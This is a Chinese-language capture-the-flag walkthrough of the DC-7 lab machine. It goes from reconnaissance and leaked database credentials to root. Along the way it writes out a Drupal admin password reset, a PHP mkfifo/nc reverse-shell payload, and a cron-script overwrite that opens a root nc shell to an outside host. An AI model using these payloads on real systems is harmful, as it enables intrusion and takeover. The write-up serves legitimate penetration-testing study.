1. 信息搜集
ip扫描发现 192.168.163.131
nmap扫描端口
1
nmap -T4 -A -p- 192.168.163.131
访问站点发现特殊字符串
必应搜索 DC7USER
发现GitHub项目 staffdb
Dc7User/staffdb
在配置文件中发现mysql数据库连接配置
1
2
3
4
5
6
7
<?php
$servername = "localhost";
$username = "dc7user";
$password = "MdR3xOgB7#dW";
$dbname = "Staff";
$conn = mysqli_connect($servername, $username, $password, $dbname);
?>
2. 渗透测试
使用该用户名密码进行SSH连接,成功
查看目录,发现mbox邮件文件和网站备份文件
查看mbox文件,发现定时执行脚本:/opt/scripts/backups.sh
查看 /var/mail/dc7user
文件,发现自动化任务间隔15分钟
查看脚本权限,发现当前用户无法写入,但是 www-data
可以
查看脚本内容:
1
2
3
4
5
6
7
8
9
10
11
#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz
发现drush命令:dupal 瑞士军刀:drush 命令大全
2.1. 用户提权
尝试www-data用户提权
1
2
3
cd /var/www/html
# 更改admin用户密码
drush user-password admin --password="admin"
网站登录成功,尝试反弹shell获取 www-data
用户权限,以更改 backups.sh
脚本
安装插件: https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
开启插件
勾选,点击页面最下方 install
2.2. 反弹shell
在文章中添加脚本
1
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -nv 192.168.163.132 4444 >/tmp/f');?>
反弹shell成功,编辑 /opt/scripts/backups.sh
文件
1
echo "nc -nv 192.168.163.132 5555 -e /bin/bash" >/opt/scripts/backups.sh
反弹shell成功,获取到root权限
2.3. 查看flag
1
2
python -c "import pty;pty.spawn('/bin/bash')"
cat /root/theflag.txt